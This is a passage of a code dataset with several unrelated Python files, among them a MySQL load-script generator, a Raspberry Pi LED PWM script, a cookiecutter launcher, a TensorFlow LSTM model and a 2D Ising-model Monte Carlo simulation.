row:\n if(validElem(elem)):\n f.write(query1+elem+\".csv'\\n\"+query2+\" \"+elem+\"\\n\"+query3+\"\\n\"+query4+\"\\n\")\n cursor.execute(\"SHOW columns FROM \"+elem)\n columnList = cursor.fetchall()\n pk = True\n string = np.array([],dtype = str)\n for column in columnList:\n if(pk):\n pk = False\n else:\n if(validColumn(column)):\n string = np.append(string,column[0])\n f.write(\" (\")\n for column in string:\n if(column != string[-1]):\n f.write(\"@\"+column+\",\")\n else:\n f.write(\"@\"+column+\")\\n\")\n f.write(\"SET \")\n for column in string:\n if(column != string[-1]):\n if(column == string[0]):\n f.write(column+\" = NULLIF(@\"+column+\",''),\\n\")\n else:\n f.write(\" \"+column+\" = NULLIF(@\"+column+\",''),\\n\")\n else:\n if(column == string[0]):\n f.write(column+\" = NULLIF(@\"+column+\",'');\\n\\n\")\n else:\n f.write(\" \"+column+\" = NULLIF(@\"+column+\",'');\\n\\n\")\n else:\n if(validNMTable(elem)):\n g.write(elem+\"\\n\") \n\ncursor.execute(\"SHOW TABLES\")\ntablesList = cursor.fetchall()\ntablesList = np.array(tablesList)\n\nfor row in tablesList:\n for elem in row:\n cursor.execute(\"SHOW columns FROM \"+elem)\n columnList = cursor.fetchall()\n pk = True\n string = np.array([],dtype = str)\n for column in columnList:\n if(pk):\n pk = False\n else:\n string = np.append(string,column[0])\n for column in string:\n if(column == \"Community_idCommunity\"):\n f.write(\"UPDATE \"+elem+\" SET Community_idCommunity = (SELECT @CommunityID)\\nWHERE \"+elem+\".Community_idCommunity = 0;\\n\\n\") \n else:\n if(column == \"Camp_idCamp\"):\n f.write(\"UPDATE \"+elem+\" SET Camp_idCamp = (SELECT @campID)\\nWHERE \"+elem+\".Camp_idCamp = 0;\\n\\n\")\n else:\n if(column == \"Country_idCountry\"):\n f.write(\"UPDATE \"+elem+\" SET Country_idCountry = (SELECT @CountryID)\\nWHERE \"+elem+\".Country_idCountry = 0;\\n\\n\")\n\nf.write(\"SET SQL_MODE=@OLD_SQL_MODE;\\n\")\nf.write(\"SET FOREIGN_KEY_CHECKS = 1;\\n\")\nf.write(\"SET SQL_SAFE_UPDATES = 1;\\n\\n\")\nf.close()\ng.close()\n\n","sub_path":"DesarrolloPy/CreateLoadDataInFileCamp.py","file_name":"CreateLoadDataInFileCamp.py","file_ext":"py","file_size_in_byte":5685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"93316257","text":"import xprogress \n\ndef parse_answer(FILE):\n tests = []\n with open(FILE, 'r') as f:\n lines = [ line.strip() for line in f if line.strip() ]\n for line in lines:\n prob, answer = line.split()\n tests.append((f'p{int(prob):03d}', int(answer)),)\n return tests\n\ndef run_tests(tests):\n pbar = xprogress.bar(True)\n N = len(tests)+1\n for i, (test, answer) in enumerate(tests): \n pbar(i+1, N, f'{test}')\n module = __import__(test)\n result = module.solve()\n if result != answer:\n print(f'\\nAborted.')\n raise RuntimeError(f'{test}: got {result}, but {answer} expected.')\n pbar(N, N, f'finished')\n\n\nif __name__ == '__main__':\n ANSWER = '../answer.dat'\n tests = parse_answer(ANSWER)\n run_tests(tests)\n","sub_path":"python/euler_test.py","file_name":"euler_test.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"328790299","text":"#!/bin/python3\n\nimport time, sys\nsys.path.append('/opt/HomeHub/Library')\n\nimport RPi.GPIO as GPIO\n\nLED_D23 = 13\n\nif(len(sys.argv) > 1):\n BreathTime = int(sys.argv[1])\n DimmStep = int(sys.argv[2])\nelse:\n BreathTime = 0.1\n DimmStep = 5\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(LED_D23, GPIO.OUT)\n \np = GPIO.PWM(LED_D23, 50) # frequency=50Hz\np.start(0)\ntry:\n while 1:\n for dc in range(0, 101, DimmStep):\n p.ChangeDutyCycle(dc)\n time.sleep(BreathTime)\n for dc in range(100, -1, -DimmStep):\n p.ChangeDutyCycle(dc)\n time.sleep(BreathTime)\nexcept KeyboardInterrupt:\n pass\n\nfinally:\n p.stop()\n GPIO.cleanup()","sub_path":"Actuators/PWM_LED/pi_pwm_led.py","file_name":"pi_pwm_led.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"53483756","text":"###########################################\n### Python script to configure the cookiecutter.json file, based on certain user selections, which will remove json lines based on the selected options.\n### then launch cookiecutter.\n### Date Created: 07/15/2021\n### Author: Chris Glover\n### Email: chris.glover@nutanix.com\n\nimport argparse, shutil, os, distutils, json\nfrom distutils import dir_util\nimport cookiecutter\nimport cookiecutter.main\nfrom cookiecutter.cli import validate_extra_context\n\n## These variables are folder paths relative to the location of this script.\nDEFAULT_OUTPUT_DIR = 'launch-cookiecutter-test'\n# Get the current working directory.\ncwd = os.getcwd()\n\n# Parse arguments.\ndef main():\n parser = argparse.ArgumentParser(description='QBiC Project Generator.', prog='generate.py', formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('-i', '--ipamtype', choices=['dhcp', 'static_ip', 'phpipam', 'infoblox', 'solarwinds'], required=True, default='dhcp',\n help='The type ip address management used (i.e., dhcp, static_ip, phpipam, infoblox, solarwinds).')\n parser.add_argument('--no_input', action='store_true',\n help='If set, default values, as defined in the corresponding cookiecutter.json, will be used and no prompt will be displayed. There is one cookiecutter.json file associated with each type (e.g., cli/cookiecutter.json, portal/cookiecutter.json).')\n parser.add_argument('extra_context', metavar='extra_context', nargs='*',\n help='List of variables/values that will override cookiecutter defaults (see cookiecutter documentation for a thorough explanation). Format: var1=val1 var2=val2 ... varN=valN.')\n parser.add_argument('-o', '--output-dir', default=DEFAULT_OUTPUT_DIR,\n help='Specifies the output folder of generated projects.')\n parser.add_argument('--config_file',\n help='Specifies an optional config file to override values from the default cookiecutter.json')\n args = parser.parse_args()\n\n args.extra_context = validate_extra_context(None, None, args.extra_context)\n\n generate_cookiecutter_project(args)\n\n# Based on argument selections, reconfigure the cookiecutter.json file to remove unneeded variables.\ndef generate_cookiecutter_project(args):\n if \"ipamtype\" in args:\n ipamtype = args.ipamtype\n print('IPAM type selected is {0} \\n'.format(args.ipamtype))\n\n with open('./cookiecutter.json', 'r') as jf:\n jsonFile = json.load(jf)\n\n print('Length of JSON object before cleaning: ', len(jsonFile.keys()))\n\n testJson = {}\n keyList = jsonFile.keys()\n for key in keyList:\n # Determine ipam solution type and configure cookiecutter.json removing unneeded variables.\n if args.ipamtype == 'dhcp':\n if not key.startswith(('php', 'infoblox', 'solarwinds')):\n print(key)\n testJson[key] = jsonFile[key]\n if args.ipamtype == 'static_ip':\n if not key.startswith(('php', 'infoblox', 'solarwinds')):\n print(key)\n testJson[key] = jsonFile[key]\n if args.ipamtype == 'phpipam':\n if not key.startswith(('infoblox', 'solarwinds')):\n print(key)\n testJson[key] = jsonFile[key]\n if args.ipamtype == 'infoblox':\n if not key.startswith(('php', 'solarwinds')):\n print(key)\n testJson[key] = jsonFile[key]\n if args.ipamtype == 'solarwinds':\n if not key.startswith(('php', 'infoblox')):\n print(key)\n testJson[key] = jsonFile[key]\n\n print('Length of JSON object after cleaning: ', len(testJson.keys()))\n\n tempfolder = \"./tmp\"\n if os.path.isdir(tempfolder):\n print(\"Temp folder exists\")\n else:\n print(\"Temp folder does not exist. Creating it\")\n os.mkdir(tempfolder)\n\n with open('./tmp/cookiecutter.json', 'w') as jf:\n json.dump(testJson, jf, sort_keys=False, indent=4, separators=(',', ': '))\n\n os.system(\"cp ./tmp/cookiecutter.json ./cookiecutter.json\")\n\n cookiecutter.main.cookiecutter(cwd, no_input=args.no_input, overwrite_if_exists=True, config_file=args.config_file, extra_context=args.extra_context, output_dir=args.output_dir)\n\n os.system(\"cp ./cookiecutter-default.json ./cookiecutter.json\")\n\nif __name__ == \"__main__\":\n main()","sub_path":"launch_cookiecutter.py","file_name":"launch_cookiecutter.py","file_ext":"py","file_size_in_byte":4371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"404406290","text":"from questions.yes_counter import count_unique_answers_of_anyone\n\ndef main():\n groups = list()\n with open(\"input\") as f:\n group = list()\n for line in f.readlines():\n if line == \"\\n\" and len(group) > 0:\n groups.append(group)\n group = list()\n else:\n group.append(line.rstrip(\"\\n\"))\n # last group\n if len(group) > 0:\n groups.append(group)\n \n unique_answers_counter = 0\n for group in groups:\n unique_answers_counter += count_unique_answers_of_anyone(group)\n \n print(\"Sum of unique counts:\", unique_answers_counter)\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"day6-py/day6-part1.py","file_name":"day6-part1.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"372074127","text":"from requests_oauthlib import OAuth1Session\n\nimport config\n\naweber = OAuth1Session(client_key=config.CLIENT_KEY,\n client_secret=config.CLIENT_SECRET,\n resource_owner_key=config.RESOURCE_OWNER_KEY,\n resource_owner_secret=config.RESOURCE_OWNER_SECRET)\n\naccount_id = input('Enter account id: ')\nlist_id = input('Enter list id: ')\nurl = 'https://api.aweber.com/1.0/accounts/{}/lists/{}/subscribers'.format(account_id, list_id)\n\nemail = input('Enter a email: ')\ndata = {'email': email,\n 'ws.op': 'create'}\n\nresponse = aweber.post(url, data=data)\n\nif response.status_code == 201:\n print('Subscriber {} added to list {}'.format(email, list_id))\nelse:\n print('Error: {}'.format(response.status_code))\n","sub_path":"add_subscriber.py","file_name":"add_subscriber.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"228674971","text":"\"\"\"Builds the RNN network.\nImplements the inference/loss/training pattern for model building.\n\"\"\"\n\nimport math\n\nimport tensorflow as tf\nfrom tensorflow.python.ops import rnn, rnn_cell\n\n# Network parameters\nn_classes = 2\nn_steps = 5\nn_input = 20\n\ndef inference(x, n_hidden):\n \"\"\" Recurrent network inference model.\n Current data input shape: (batch_size, n_steps, n_input)\n Required shape: 'n_steps' tensors list of shape (batch_size, n_input)\n Args:\n x: the input data of shape (batch_size, n_steps, n_input)\n n_hidden: the number of hidden layers\n Returns:\n result: the output result generated from the network.\n \"\"\"\n weights = tf.Variable(\n tf.random_normal([n_hidden, n_classes]),\n name='weights')\n biases = tf.Variable(\n tf.random_normal([n_classes]),\n name='biases')\n # Permuting batch_size and n_steps\n x = tf.transpose(x, [1, 0, 2])\n # Reshaping to (n_steps * batch_size, n_input)\n x = tf.reshape(x, [-1, n_input])\n # Split to get as list of `n_steps` tensors\n x = tf.split(0, n_steps, x)\n \n # Define a lstm cell with tensorflow\n lstm_cell = rnn_cell.BasicLSTMCell(n_hidden, state_is_tuple=True)\n # Get lstm cell ouput\n outputs, states = rnn.rnn(lstm_cell, x, dtype=tf.float32)\n\n result = tf.matmul(outputs[-1], weights) + biases\n return result \n\ndef loss(pred, labels):\n \"\"\"Calculates the loss from the predictions and the labels\n Args:\n pred: prediction from current model\n labels: the actual class \n Returns:\n loss: distance between predictions and labels\n \"\"\"\n labels = tf.to_int64(labels)\n cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(\n pred, labels, name='xentropy')\n loss = tf.reduce_mean(cross_entropy, name='xentropy_mean')\n return loss\n\ndef training(loss, learning_rate):\n \"\"\"Sets up the training OPs.\n Create an optimizer that implements the Adam algorithm.\n Args:\n loss: the prediction loss, from loss()\n learning_rate: model hyperparameter to control the learning process\n Returns:\n train_op: the training operator\n \"\"\"\n optimizer = tf.train.AdamOptimizer(learning_rate)\n train_op = optimizer.minimize(loss)\n return train_op\n\ndef predict(logits):\n \"\"\"Output the prediction class\n Args:\n logits: predicted probability for respective class\n Returns:\n pred: the class with the highest probability\n \"\"\"\n\n [value, pred] = tf.nn.top_k(logits)\n return pred\n\n\n\n \n\n\n","sub_path":"rnn_graph.py","file_name":"rnn_graph.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"380632186","text":"class Solution:\n # @param num1, a string\n # @param num2, a string\n # @return a string\n def multiply(self, num1, num2):\n if not num1 or not num2:\n return \"\"\n res = \"\"\n num1 = num1.strip()\n num2 = num2.strip()\n l1 = len(num1)\n l2 = len(num2)\n r = 0\n for i in range(l1+l2-1):\n m = 0\n for j in range(i+1):\n if l2-(i+1-j) < 0 or l1-1-j<0:\n continue\n m += int(num1[l1-1-j])*int(num2[l2-(i+1-j)])\n m += r\n q = m%10\n r = m/10\n res += str(q)\n \n if r !=0:\n res += str(r)\n if res[-1] == '0':# if last one is '0', the number must be 0, 999*0 = 000\n return '0'\n return res[::-1]","sub_path":"lc/LC2/16 Multiply Strings /1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"314924918","text":"\"\"\"\n2次元Ising模型のMonte Carlo Simulation\n\"\"\"\nfrom random import random, randrange\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport time\nimport datetime\nfrom collections import deque\nimport japanize_matplotlib \nimport os\nimport scipy.special as sps\n\n# $ pip install japanize_matplotlib\n# でインストール可能.実行環境ですでにmatplotlibのグラフ上に日本語フォントを表示できるならこれは不要.\n# japanize_matplotlibをインストールしたくない,または,matplotlibで日本語を表示できない場合は,\n# 下のクラスメソッドのうち\"visualize_*()\"の中のtitleやlabelから日本語を消す必要がある\n\n# グラフ描画\ndef make_figure(X,Y,titlename='',Xlabel='',Ylabel='',label='',plot_type='scatter',point_size=5,pcolor='tab:blue',lcolor='tab:blue',lwidth=1.0,fig_size=(8,6),Xlog=False,Ylog=False,Yerr=None,consecutive=None,filename=''): \n # consecutive==Noneのとき,1回の描画で完結\n ## consecutive==1のとき,連続して描画する際の1枚目を表す\n ## consecutive==0のとき,連続して描画する際の中間に来る描画を表す\n ## consecutive==-1のとき,連続して描画する際の最後の描画を表す\n plt.rcParams[\"font.size\"] = 12\n if consecutive is None or consecutive == 1:\n plt.figure(figsize=fig_size) \n if plot_type == 'scatter':\n plt.scatter(X,Y,s=point_size,label=label,color=pcolor)\n elif plot_type == 'plot':\n plt.plot(X,Y,markersize=point_size,label=label,color=lcolor,linewidth=lwidth)\n elif plot_type == 'errorbar':\n plt.errorbar(X,Y,yerr=Yerr,markersize=point_size, capsize=3, fmt='o', ecolor='black', markeredgecolor=\"black\", color=pcolor, elinewidth=0.5, capthick=0.5,label=label)\n\n plt.xlabel(Xlabel)\n plt.ylabel(Ylabel)\n if Xlog:\n plt.xscale('log')\n plt.xlim(np.min(X)/5,np.max(X)*5)\n if Ylog:\n plt.yscale('log')\n plt.ylim(np.min(Y)/5,np.max(Y)*5)\n plt.title(titlename)\n if not label == '':\n plt.legend()\n if consecutive is None or consecutive == -1:\n if filename != '':\n plt.savefig(filename+'.png', dpi=300)\n plt.show()\n\nclass Ising2():\n def __init__(self,Ny,Nx,J,H,dir_name,max_kBT=6,steps_kBT=200,N_MCS=40000,sampling_period=1,equilibrium_num=2,Q=500,cold=True):\n # Ising Modelにおける通常のHamiltonian: H=-JΣ(:隣接スピン対)SiSj-BΣSi\n def Hamiltonian(spin_table):\n def closest_spin_pair(spins): # 最近隣接スピン対について,Si*Sjを足し上げる.また,周期境界条件を課した\n # スピン行列を1つ下にずらしたものと1つ右にずらしたものを足して,\n # 元の行列とアダマール積(要素ごとの積で行列積ではない)をとると,最近隣接スピン対についてSi*Sjを足し上げたものが出てくる\n # Pythonではfor文より行列操作の方が圧倒的に速い(サイズにもよるが数十倍程度も違う)のでこの方式を採用\n up = np.roll(spins, 1, axis=0)\n left = np.roll(spins, 1, axis=1)\n ans = np.sum(spins*(up+left))\n return ans\n return -self.J*closest_spin_pair(spin_table)-self.H*np.sum(spin_table)\n def delta_Hamiltonian(s,i,j): # もし(i,j)のスピンを反転させたら生じるであろうエネルギー変化\n return 2*s[i,j]*self.J*(s[(i+1)%self.Ny,j]+s[i-1,j]+s[i,(j+1)%self.Nx]+s[i,j-1]) + 2*self.H*s[i,j]\n\n self.Ny = Ny # 行方向(y軸方向)のスピンの数\n self.Nx = Nx # 列方向(x軸方向)のスピンの数\n self.Ntot = Ny*Nx # 総スピン数\n \"\"\"\n 関連して,二重ループの時は,\n for i in range(self.Ny):\n for j in range(self.Nx):\n pass\n となり, i<->y, j<->x, という対応になることに注意\n \"\"\"\n self.J = J # スピン間相互作用エネルギー\n self.H = H # 外部磁場\n self.max_kBT = max_kBT # 計算する最大のkBT\n self.steps_kBT = steps_kBT # (0,max_kBT]の分割数(刻み)\n self.N_MCS = N_MCS # 総モンテカルロステップ(可視化の時に使う)\n self.Ps = sampling_period # サンプリング周期\n self.equilibrium_num = equilibrium_num # 平衡状態に至るまでの総モンテカルロステップに対する割合の逆数\n self.Q = Q # サンプル状態数(計算で用いることはないがデータ保存時のファイル名に使用)\n ### N_MCS == Ps * equilibrium_num * Q\n self.cold = cold # True:kBT=0.0001からスタートする, False:kBT=max_kBTからスタートするか\n \n self.Hamiltonian = Hamiltonian\n self.delta_Hamiltonian = delta_Hamiltonian\n self.MCmode = '' # 熱浴法(GibbsSampler,Metropolis,SwendsenWang,Wolffから選択(self.MonteCarlo(MCmode='')で選択)\n\n self.dir_path = './'+dir_name+'/' # データ保存先のディレクトリパス(カレントディレクトリ内部に該当するディレクトリ存在する必要がある.存在しないとエラー)\n if not os.path.isdir(self.dir_path):\n print('対象となるディレクトリが存在しません.\"dir_name\"を変更してください')\n raise FileNotFoundError\n\n self.kBTc = 2*self.J/np.log(1+np.sqrt(2))\n\n #self.kBT_list = np.linspace(0.0001,max_kBT, steps_kBT) # 温度を0.0001からmax_kBTまで(kBT単位で)steps_kBT刻みで変動させる(kBT=0にすると比熱が吹き飛ぶ)\n \n min_exp = -4\n steps_under_kBTc = int(steps_kBT/(np.log(self.kBTc)-min_exp+np.log(self.max_kBT-self.kBTc)-min_exp)*(np.log(self.kBTc)-min_exp))\n # kBT_listは,T=Tc近傍が密になるように非線形的に増加する\n # 具体的には,kBTc=0.0001~(kBTc-e^min_exp),(kBTc+e^min_exp)~Max_kBT の2つの区間で対数スケールで等間隔になっている\n # 参考値:e^(-3)~0.050,e^(-4)~0.018,e^(-5)~0.0067\n self.kBT_list = np.concatenate([self.kBTc-np.logspace(np.log(self.kBTc-0.0001),min_exp,num=steps_under_kBTc,base=np.e), [self.kBTc], self.kBTc+np.logspace(min_exp,np.log(self.max_kBT-self.kBTc),num=self.steps_kBT-steps_under_kBTc-1,base=np.e)])\n \n if not self.cold:\n self.kBT_list = self.kBT_list[::-1] # 逆順(高温側からシミュレート)\n self.start = 'hotstart' # グラフなどの体裁に使用\n else:\n self.start = 'coldstart' # グラフなどの体裁に使用\n\n self.E_history = [] # kBT=0~max_kBTにおける1スピンあたりエネルギーの変遷\n self.M_history = [] # kBT=0~max_kBTにおける1スピンあたり磁化の変遷\n self.C_history = [] # kBT=0~max_kBTにおける1スピンあたり比熱の変遷\n self.X_history = [] # kBT=0~max_kBTにおける1スピンあたり磁化率の変遷\n self.S_history = [] # kBT=0~max_kBTにおけるスピン全体の変遷\n\n # Ising模型MCMC法の実行関数\n def MonteCarlo(self,MCmode,is_save=True): \n self.MCmode = MCmode\n if is_save:\n try:\n os.mkdir(self.dir_path+self.MCmode+'/')\n except FileExistsError:\n print('過去に保存したデータが上書きされる可能性があるのでプログラムを終了します.実行用の空ディレクトリを新たに用意してください')\n raise FileExistsError\n\n \n # スピンの初期化\n # hotstart()はcoldstart()に比べて35倍ほど遅い上に,収束が遅い(?,不安定になった)ので非推奨\n def coldstart(): # 完全に揃った状態(s=1)を初期状態とする\n return np.ones((self.Ny,self.Nx),dtype=int)\n def hotstart(): # 完全にランダムなスピン状態を初期状態とする\n return np.random.choice([-1,1],(self.Ny,self.Nx))\n\n # Wolffのアルゴリズム\n # 高温になるほどクラスターの大きさが小さくなるので高速に動作する\n def Wolff_algorithm(s_before, e_2JkBT, E_kBT): # 実質的にgrid上のbfs((sx,sy)からスタート)\n ### Wolff algorithmは,下のようにランダムに一つのスピンを選んでそれが属するclusterを確率的にひっくり返すことを繰り返す\n r = randrange(self.Ntot-1) # 0からNy*Nx-1まででランダムな数が選ばれる\n # つまり,スピンの位置(i,j)が一様な確率で選ばれる\n sy = r // self.Nx # 第i行\n sx = r % self.Nx # 第j列\n dire = ((0, -1), (-1, 0), (1, 0), (0, 1))\n cluster = np.full((self.Ny, self.Nx), -1) # cluster外は-1, clusterに含まれるなら1\n cluster[sy][sx] = 1\n que = deque([(sy, sx)]) # (sx, sy)からスタート\n s_trial = s_before.copy()\n while que:\n y, x = que.popleft()\n for dy, dx in dire:\n ny,nx = (y+dy)%self.Ny,(x+dx)%self.Nx\n # スピンがs[i,j]と同じで未訪問なら確率的に採択し,距離を更新してdequeに入れる\n if s_trial[ny,nx] == s_trial[sy,sx] and cluster[ny,nx] == -1:\n if random() < 1-e_2JkBT: # 確率p=1-exp(-2βJ)でclusterに入れる\n cluster[ny,nx] = 1\n que.append((ny, nx))\n \n s_trial = np.where(cluster==1,s_trial*-1,s_trial) # 今考えているclusterに属する(cluster==1)スピンを反転\n return s_trial, self.Hamiltonian(s_trial)\n\n\n class UnionFind:\n def __init__(self, n): # O(n)\n # parent[i]にはi番目のノードの親の番号を格納し,\n # 自分が根だった場合は-(自分が属する連結集合のサイズ)とする\n self.parent = [-1 for _ in range(n)]\n self.n = n\n def root(self, x): # 要素xの根の番号を返す O(α(n))\n if self.parent[x] < 0: # 自分が根のとき\n return x\n else:\n # 要素xの親を要素xの根に付け替えることで次の呼び出しの高速化\n self.parent[x] = self.root(self.parent[x]) # 要素xの親を要素xの根に変えておく(付け替える)\n return self.parent[x]\n def size(self, x): # 要素xの所属するグループの要素数を調べる O(α(n))\n return -self.parent[self.root(x)] #根のparentにサイズが格納されている\n def merge(self, x, y): # xとyを結合する O(α(n))\n x = self.root(x)\n y = self.root(y)\n if x == y:\n return False \n if self.parent[x] > self.parent[y]: # 大きい方(x)に小さい方(y)をぶら下げる\n x, y = y, x \n self.parent[x] += self.parent[y]\n self.parent[y] = x\n return True \n \n \n # Swendsen-Wangのアルゴリズム\n def SwendsenWang_algorithm(s_before, e_2JkBT, E_kBT): \n ### Swendsen-Wang algorithmは,全てのスピンをclusteringして一度に全部独立に確率的にひっくり返すことを繰り返す\n dire = ((1, 0), (0, 1))\n s_trial = s_before.copy()\n UF = UnionFind(self.Ntot)\n for y in range(self.Ny):\n for x in range(self.Nx):\n for dy, dx in dire: # 各スピンについて横と下を見ていけば,全てのスピン対について結合判定ができる(周期境界条件を考慮の上)\n ny,nx = (y+dy)%self.Ny,(x+dx)%self.Nx\n # s[ny][nx]がs[y][x]と同じなら確率的に採択し,距離を更新してdequeに入れる\n if s_trial[ny,nx] == s_trial[y,x]:\n if random() < 1-e_2JkBT: # 確率p=1-np.exp(-2*self.J/kBT)で結合(union)\n UF.merge(y*self.Nx+x,(ny)*self.Nx+(nx))\n\n cluster = np.full((self.Ny, self.Nx), -1) # クラスター番号を-1で初期化\n num_cluster = 0 # 各clusterに0から番号を振っていく\n dict_parent = dict()\n \n for i in range(self.Ntot): # まず,dict_parentをつくる\n if UF.parent[i] < 0: # 親の場合\n dict_parent[i] = num_cluster\n num_cluster += 1\n \n for i in range(self.Ntot): # 各スピンが属するclusterの番号を記録する\n y,x = i//self.Nx, i%self.Nx\n cluster[y][x] = dict_parent[UF.root(i)]\n\n for c in range(num_cluster):\n if random() < 0.5: # 確率1/2でスピンを反転\n s_trial = np.where(cluster==c,s_trial*-1,s_trial) # i番目のclusterに属する(cluster==i)スピンを確率1/2で反転していく\n \n return s_trial, self.Hamiltonian(s_trial)\n\n\n # 初期化(そんなことはしないとは思うけど,続けて異なるシミュレートをする際に前回の結果が残っていたら困るので)\n self.E_history = [] # 各kBTの下で1スピンあたりエネルギー値を格納するためのリストを定義\n self.M_history = [] # 各kBTの下で1スピンあたり磁化を格納するためのリストを定義\n self.C_history = [] # 各kBTの下で1スピンあたり比熱を格納するためのリストを定義\n self.X_history = [] # 各kBTの下で1スピンあたり磁化率を格納するためのリストを定義\n self.S_history = [] # 各kBTの下で全スピン状態を格納するためのリストを定義\n\n start_time = datetime.datetime.now()\n print('')\n print('開始時刻',start_time.strftime('%Y-%m-%d %H:%M:%S'))\n print('')\n print('-----Monte Carlo Simulation('+self.MCmode+') Start-----')\n print('Progress Bar:')\n for k in range(len(self.kBT_list)):\n kBT = self.kBT_list[k]\n\n if k == 1:\n dt = datetime.datetime.now() - start_time\n print('終了予定時刻',start_time+dt*len(self.kBT_list))\n pro_bar = ('='*int(20*k/len(self.kBT_list))) + (' '*int(20*(1-k/len(self.kBT_list))))\n print('\\r[{0}] {1}/{2} '.format(pro_bar, k,len(self.kBT_list)), end='')\n time.sleep(0.3)\n if k == 0:\n # スピン状態の初期化\n if self.cold:\n s = coldstart() # kBT~0のときの平衡状態でスピンは揃っているはずなので, それに近い(というか同じ)状態からスタート\n else:\n s = hotstart() # スピンがほぼ完全にランダムになっている高い温度kBTから低い温度に向けて冷やして行く\n \n else: # 収束を早めるために前回の続きからスタート\n s = self.S_history[-1].copy()\n\n E = self.Hamiltonian(s) # (初期)エネルギーを計算。\n M = np.sum(s) # 磁化の計算\n\n E_kBT = [] # kBTにおけるエネルギーの平均値のリスト \n M_kBT = [] # kBTにおける磁化のリスト\n \n # 初期値を追加\n E_kBT.append(E/self.Ntot)\n M_kBT.append(M/self.Ntot) \n \n # self.H == 0のときのみ使える(?)高速化(Wolff,SwendsenWang用)\n # expの計算は重いので前計算しておく\n e_2JkBT = np.exp(-2*self.J/kBT)\n\n # メイン\n for _ in range(self.N_MCS):\n if self.MCmode == 'Wolff':\n # Wolffアルゴリズムによる状態更新\n s, E = Wolff_algorithm(s, e_2JkBT, E_kBT)\n elif self.MCmode == 'SwendsenWang':\n # SwendsenWangアルゴリズムによる状態更新\n s, E = SwendsenWang_algorithm(s, e_2JkBT, E_kBT)\n else:\n r = randrange(self.Ntot-1) # 0からNy*Nx-1まででランダムな数が選ばれる\n # つまり,スピンの位置(i,j)が一様な確率で選ばれる\n i = r // self.Nx # 第i行\n j = r % self.Nx # 第j列\n\n s_trial = s.copy()\n delta_E = self.delta_Hamiltonian(s,i,j)\n s_trial[i,j] = -1*s[i,j]\n E_trial = E + delta_E\n\n if self.MCmode == 'GibbsSampler':\n # 熱浴法による状態更新\n if random() < 1/(1+np.exp(delta_E/kBT)): # 遷移確率W=1/(1+exp(βΔE))\n s = s_trial\n E = E_trial\n else:\n pass\n elif self.MCmode == 'Metropolis':\n # メトロポリス法による状態更新\n if E_trial < E : # エネルギーが下がっていたら採択(np.exp(-delta_E/kBT)の計算が重いのでif文をわざわざ増やした)\n s = s_trial\n E = E_trial\n else : # エネルギーが上がっていたら,\n if random() < np.exp(-delta_E/kBT): # 確率Boltzmann因子exp(-βΔE)で採択\n s = s_trial\n E = E_trial\n else:\n pass\n else:\n print('self.MCmodeを正しく入力してください')\n return \n\n E_kBT.append(E/self.Ntot)\n M = np.sum(s)\n M_kBT.append(M/self.Ntot)\n \n self.S_history.append(s)\n avsteps = int(self.N_MCS/self.equilibrium_num) # 熱平衡状態に達している(と思うことにする)のは,stepsのうち後ろから1/equilibriumのところ\n # 各kBTにおいて熱平衡状態に達していると考えられる,最後からavsteps個のデータのうちself.Psごとに状態を持ってきて平均する\n used_E = np.array(E_kBT[-avsteps::self.Ps]) # E_kBTの末尾からavsteps個のデータからself.Psごとに取得\n used_M = np.array(M_kBT[-avsteps::self.Ps]) # M_kBTの末尾からavsteps個のデータからself.Psごとに取得\n\n used_M = np.abs(used_M)\n\n # これが熱平衡状態における各物理量の期待値(すべて1スピンあたりの物理量)\n self.E_history.append(np.average(used_E))\n # 磁化は絶対値をとる\n self.M_history.append(np.average(np.abs(used_M)))\n self.C_history.append(np.var(used_E)*self.Ntot/(kBT**2)) # 比熱の計算\n # 厳密にはC_1 == N*(E^2-^2)/kBT^2で, 分母は(kBT)^2ではない.この\"C\"は厳密にはC/kB\n self.X_history.append(np.var(used_M)*self.Ntot/kBT) # 磁化率の計算\n # X_1 == N*(M^2-^2)/kBT\n # これらのゆらぎと応答の関係は,Kirkwoodの関係式という\n \n if not self.cold: # hotstartの場合,描画のために全てのデータを昇順に直しておく\n self.kBT_list = self.kBT_list[::-1]\n self.E_history = self.E_history[::-1]\n self.M_history = self.M_history[::-1]\n self.C_history = self.C_history[::-1]\n self.X_history = self.X_history[::-1]\n self.S_history = self.S_history[::-1]\n\n print('')\n print('-----Monte Carlo Simulation('+self.MCmode+') Finish-----')\n\n if is_save: # データの保存\n prefix = 'Ising,'+str(self.MCmode)+','+str(self.Nx)+','+str(self.Ny)+','+str(self.J)+','+str(self.H)+','+str(self.max_kBT)+','+str(self.steps_kBT)+','+str(self.N_MCS)+','+str(self.equilibrium_num)+','+str(self.Q)+','+self.start\n prefix = self.dir_path+self.MCmode+'/'+prefix\n np.savez(prefix,E=self.E_history,M=self.M_history,C=self.C_history,S=self.S_history,X=self.X_history)\n\n\n\n\n\n\n ### self.MonteCarlo()を実行していることが必要\n def visualize_temperature_development(self):\n if len(self.S_history) == 0:\n print(\"self.MonteCarlo()を実行してください\")\n return 0\n\n def make_title(titlename): # あまりにも横長なので便宜上関数化した\n return r\"Ising Model({}):{}\".format(self.MCmode,titlename)+'\\n'+r\"$N_x$={}, $N_y$={}, $J$={}, 